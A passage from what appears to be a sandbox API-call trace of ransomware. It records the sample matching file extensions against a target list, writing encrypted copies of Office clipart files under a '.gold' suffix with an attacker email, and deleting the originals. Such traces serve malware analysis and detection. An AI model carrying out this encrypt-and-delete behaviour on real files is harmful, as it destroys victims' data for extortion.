lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString=".bz2") returned 4 [0107.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString=".7z") returned 3 [0107.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".dbf") returned 4 [0107.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".1cd") returned 4 [0107.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0107.866] lstrlenW (lpString=".jpg") returned 4 [0107.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.866] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.866] lstrlenW (lpString="J0107458.WMF") returned 12 [0107.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.867] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3568) returned 1 [0107.867] CloseHandle (hObject=0x194) returned 1 [0107.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0107.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.868] GetLastError () returned 0x0 [0107.868] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xdf0, lpOverlapped=0x0) returned 1 [0107.870] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe00, lpOverlapped=0x0) returned 1 [0107.870] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.870] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.870] SetEndOfFile (hFile=0x3a8) returned 1 [0107.871] CloseHandle (hObject=0x3a8) returned 1 [0107.871] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.871] SetEndOfFile (hFile=0x194) returned 1 [0107.872] CloseHandle (hObject=0x194) returned 1 [0107.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0107.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.873] lstrlenW (lpString=".doc") returned 4 [0107.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.873] lstrlenW (lpString=".docx") returned 5 [0107.873] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.873] lstrlenW (lpString=".pdf") returned 4 [0107.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".xls") returned 4 [0107.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.874] lstrlenW (lpString=".xlsx") returned 5 [0107.874] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.874] lstrlenW (lpString=".ppt") returned 4 [0107.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".zip") returned 4 [0107.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.874] lstrlenW (lpString=".rar") returned 4 [0107.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".bz2") returned 4 [0107.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".7z") returned 3 [0107.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".dbf") returned 4 [0107.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".1cd") returned 4 [0107.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".jpg") returned 4 [0107.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".doc") returned 4 [0107.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".docx") returned 5 [0107.874] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.874] lstrlenW (lpString=".pdf") returned 4 [0107.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".xls") returned 4 [0107.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.874] lstrlenW (lpString=".xlsx") returned 5 [0107.874] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.874] lstrlenW (lpString=".ppt") returned 4 [0107.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".zip") returned 4 [0107.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.874] lstrlenW (lpString=".rar") returned 4 [0107.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".bz2") returned 4 [0107.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString=".7z") returned 3 [0107.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".dbf") returned 4 [0107.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".1cd") returned 4 [0107.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0107.874] lstrlenW (lpString=".jpg") returned 4 [0107.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.875] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.875] lstrlenW (lpString="J0107468.WMF") returned 12 [0107.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.875] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9612) returned 1 [0107.875] CloseHandle (hObject=0x194) returned 1 [0107.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0107.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.876] GetLastError () returned 0x0 [0107.876] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x258c, lpOverlapped=0x0) returned 1 [0108.061] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0108.061] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.061] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.062] SetEndOfFile (hFile=0x3a8) returned 1 [0108.101] CloseHandle (hObject=0x3a8) returned 1 [0108.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.102] SetEndOfFile (hFile=0x194) returned 1 [0108.104] CloseHandle (hObject=0x194) returned 1 [0108.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0108.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.151] lstrlenW (lpString=".doc") returned 4 [0108.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".docx") returned 5 [0108.152] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.152] lstrlenW (lpString=".pdf") returned 4 [0108.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".xls") returned 4 [0108.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.152] lstrlenW (lpString=".xlsx") returned 5 [0108.152] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.152] lstrlenW (lpString=".ppt") returned 4 [0108.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".zip") returned 4 [0108.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.152] lstrlenW (lpString=".rar") returned 4 [0108.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".bz2") returned 4 [0108.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".7z") returned 3 [0108.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".dbf") returned 4 [0108.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".1cd") returned 4 [0108.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".jpg") returned 4 [0108.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".doc") returned 4 [0108.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".docx") returned 5 [0108.152] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.152] lstrlenW (lpString=".pdf") returned 4 [0108.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".xls") returned 4 [0108.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.152] lstrlenW (lpString=".xlsx") returned 5 [0108.152] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.152] lstrlenW (lpString=".ppt") returned 4 [0108.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.152] lstrlenW (lpString=".zip") returned 4 [0108.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.152] lstrlenW (lpString=".rar") returned 4 [0108.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".bz2") returned 4 [0108.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.152] lstrlenW (lpString=".7z") returned 3 [0108.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.153] lstrlenW (lpString=".dbf") returned 4 [0108.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.153] lstrlenW (lpString=".1cd") returned 4 [0108.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0108.153] lstrlenW (lpString=".jpg") returned 4 [0108.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.153] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.153] lstrlenW (lpString="J0107490.WMF") returned 12 [0108.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.153] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16468) returned 1 [0108.153] CloseHandle (hObject=0x3b4) returned 1 [0108.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0108.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.154] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.154] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0108.156] GetLastError () returned 0x0 [0108.156] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4054, lpOverlapped=0x0) returned 1 [0108.221] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4060, lpOverlapped=0x0) returned 1 [0108.222] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.222] SetEndOfFile (hFile=0x3c8) returned 1 [0108.222] CloseHandle (hObject=0x3c8) returned 1 [0108.223] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.223] SetEndOfFile (hFile=0x3b4) returned 1 [0108.224] CloseHandle (hObject=0x3b4) returned 1 [0108.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0108.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.290] lstrlenW (lpString=".doc") returned 4 [0108.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.290] lstrlenW (lpString=".docx") returned 5 [0108.290] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.290] lstrlenW (lpString=".pdf") returned 4 [0108.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.290] lstrlenW (lpString=".xls") returned 4 [0108.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.290] lstrlenW (lpString=".xlsx") returned 5 [0108.290] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.290] lstrlenW (lpString=".ppt") returned 4 [0108.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".zip") returned 4 [0108.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.291] lstrlenW (lpString=".rar") returned 4 [0108.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".bz2") returned 4 [0108.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".7z") returned 3 [0108.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".dbf") returned 4 [0108.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".1cd") returned 4 [0108.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".jpg") returned 4 [0108.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".doc") returned 4 [0108.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".docx") returned 5 [0108.291] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.291] lstrlenW (lpString=".pdf") returned 4 [0108.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".xls") returned 4 [0108.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.291] lstrlenW (lpString=".xlsx") returned 5 [0108.291] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.291] lstrlenW (lpString=".ppt") returned 4 [0108.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".zip") returned 4 [0108.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.291] lstrlenW (lpString=".rar") returned 4 [0108.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".bz2") returned 4 [0108.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString=".7z") returned 3 [0108.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".dbf") returned 4 [0108.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".1cd") returned 4 [0108.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0108.291] lstrlenW (lpString=".jpg") returned 4 [0108.291] lstrcmpiW 